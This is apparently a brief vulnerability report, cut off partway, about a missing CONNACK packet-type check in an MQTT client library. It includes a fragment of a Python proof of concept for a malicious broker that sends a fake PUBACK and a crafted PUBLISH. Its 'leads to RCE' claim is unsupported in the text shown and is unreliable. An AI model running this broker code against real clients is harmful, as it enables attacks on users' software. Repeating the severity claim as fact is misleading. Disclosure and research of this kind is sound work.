MQTT CONNACK Packet Type Bypass leads to RCE via Malicious Broker

`mqtt_verify_connack()` in `lib/mqtt.c` never checks that the received packet type is actually a CONNACK (`0x20`). The constant `MQTT_MSG_CONNACK` is commented out at line 45, making the check impossible to write. A malicious broker can send any packet — e.g. PUBACK (`0x40`) — with …

import socket, struct

def fake_connack():
    return bytes([0x40, 0x02, 0x00, 0x00])  # PUBACK, not CONNACK

def malicious_publish(payload):
    topic = b"x"
    body = struct.pack(">H", len(topic)) + topic + payload
    return bytes([0x30, len(body)]) + body

srv = socket.socket() …